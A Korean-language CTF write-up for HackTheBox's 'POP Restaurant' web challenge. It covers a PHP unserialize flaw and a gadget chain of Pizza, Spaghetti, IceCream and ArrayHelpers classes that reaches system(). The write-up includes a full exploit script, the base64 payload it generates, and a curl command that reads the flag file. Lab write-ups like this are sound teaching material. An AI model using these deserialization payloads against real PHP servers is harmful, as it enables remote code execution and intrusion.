HackTheBox Labs Writeup - POP Restaurant
이 글은 HackTheBox 의 Easy 난이도의 Web 분야 Challange 인 POP Restaurant 에 대한 Writeup이다.
1. 웹 서버 접근
문제에서 제공하는 서버에 접속하면 픽셀 아트 풍 배경의 요리점 모습이 보인다. 기능을 이용하기 위해 로그인이 필요하므로 대충 아이디를 생성 후 로그인한다.

로그인하면 피자, 아이스크림, 스파게티를 주문하는 버튼이 존재한다. 클릭하면 하단에서 주문한 요리에 대한 ID가 출력된다.

이외에는 특별한 기능이 보이지 않아 바로 첨부 파일 분석에 들어갔다.
2. 풀이
문제 웹 서버는 PHP 서버이며, POP Restaurant 라는 문제 이름 답게 POP(Property-Oriented Programming Chain) 과 PHP Deserialize 취약점을 이용해 문제를 풀어나가야 한다.
challenge/order.php 파일에서 다음과 같은 취약점이 발견된다.
//challenge/order.php
$order = unserialize(base64_decode($_POST['data']));
사용자가 전달한 data 파라미터가 아무런 검증 없이 unserialize() 함수에 전달된다. 공격자는 이를 통해 임의의 클래스 객체를 주입하고, 해당 클래스들의 매직 메서드(Magic Methods)를 발생시킬 수 있다.
Pizza 클래스에는 객체가 소멸될 때 자동으로 실행되는 __destruct 메서드가 있다. 이를 통해 $this->size에 다른 객체를 할당하고, 그 객체에 존재하지 않는 프로퍼티인 what에 접근하게 함으로써 __get 매직 메소드를 유도할 수 있다.
// challenge/Models/PizzaModel.php
class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}
Spaghetti 클래스에는 존재하지 않는 프로퍼티에 접근할 때 실행되는 __get 메소드가 있다. 여기서 $this->sauce에 객체를 할당하면, 해당 객체를 함수로 호출하려고 시도하므로 __invoke 매직 메서드가 실행된다.
// challenge/Models/SpaghettiModel.php
class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}
IceCream 클래스는 객체가 함수처럼 호출될 때 실행되는 __invoke 메소드를 가진다. $this->flavors에 Iterator를 상속받은 객체를 넣으면, foreach 문이 시작될 때 해당 객체의 current() 메서드가 호출된다.
// challenge/Models/IceCreamModel.php
class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
ArrayHelpers는 ArrayIterator를 상속받으며 current() 메서드를 오버라이딩하고 있다. call_user_func를 통해 $this->callback에 실행할 함수(system)를, parent::current()를 통해 실행할 인자(명령어)를 전달할 수 있다.
// challenge/Helpers/ArrayHelpers.php
namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}
위의 정보들을 이용해 POP 체인을 연결하여 직렬화된 데이터를 생성하는 PHP 스크립트를 작성한다. DockerFile 파일에서 무작위 이름의 flag 파일(${FLAG_NAME}_flag.txt)을 생성하는 명령어가 존재하므로 이를 고려한다.
<?php
namespace Helpers {
// ArrayIterator를 상속받으므로 내부 배열 데이터와 callback 필드를 모두 설정
class ArrayHelpers extends \ArrayIterator {
public $callback = 'system';
}
}
namespace {
class IceCream { public $flavors; }
class Spaghetti { public $sauce; }
class Pizza { public $size; }
// 명령어: 플래그 파일명이 랜덤이므로 와일드카드 사용
$ah = new Helpers\ArrayHelpers(["cat /*_flag.txt"]);
$ic = new IceCream();
$ic->flavors = $ah;
$sp = new Spaghetti();
$sp->sauce = $ic;
$pz = new Pizza();
$pz->size = $sp;
echo base64_encode(serialize($pz)) . PHP_EOL;
}
작성한 PHP 스크립트로 exploit.php라는 파일을 생성 후, 실행 결과를 저장한다.
$ php exploit.php
Tzo1OiJQaXp6YSI6MTp7czo0OiJzaXplIjtPOjk6IlNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7Tzo4OiJJY2VDcmVhbSI6MTp7czo3OiJmbGF2b3JzIjtPOjIwOiJIZWxwZXJzXEFycmF5SGVscGVycyI6NDp7aTowO2k6MDtpOjE7YToxOntpOjA7czoxNToiY2F0IC8qX2ZsYWcudHh0Ijt9aToyO2E6MTp7czo4OiJjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31pOjM7Tjt9fX19

공격 대상 서버의 /order.php 에 생성한 base64 문자열을 담아 POST 패킷을 송신하면 flag 값을 얻을 수 있다. 주의할 점은 /order.php 에 접근하기 위해서는 세션 아이디가 필요하다. 공격 대상 서버에 접속, 아이디를 생성, 로그인 후 브라우저에서 F12버튼을 클릭해 개발자 모드로 들어간 후, 쿠키에서 PHPSESSID 값을 복사해서 패킷에 추가해야 한다.
curl -X POST http://[IP]:Port/order.php -d "data=Tzo1OiJQaXp6YSI6MTp7czo0OiJzaXplIjtPOjk6IlNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7Tzo4OiJJY2VDcmVhbSI6MTp7czo3OiJmbGF2b3JzIjtPOjIwOiJIZWxwZXJzXEFycmF5SGVscGVycyI6NDp7aTowO2k6MDtpOjE7YToxOntpOjA7czoxNToiY2F0IC8qX2ZsYWcudHh0Ijt9aToyO2E6MTp7czo4OiJjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31pOjM7Tjt9fX19" --cookie "PHPSESSID=[PHP 세션 쿠키]"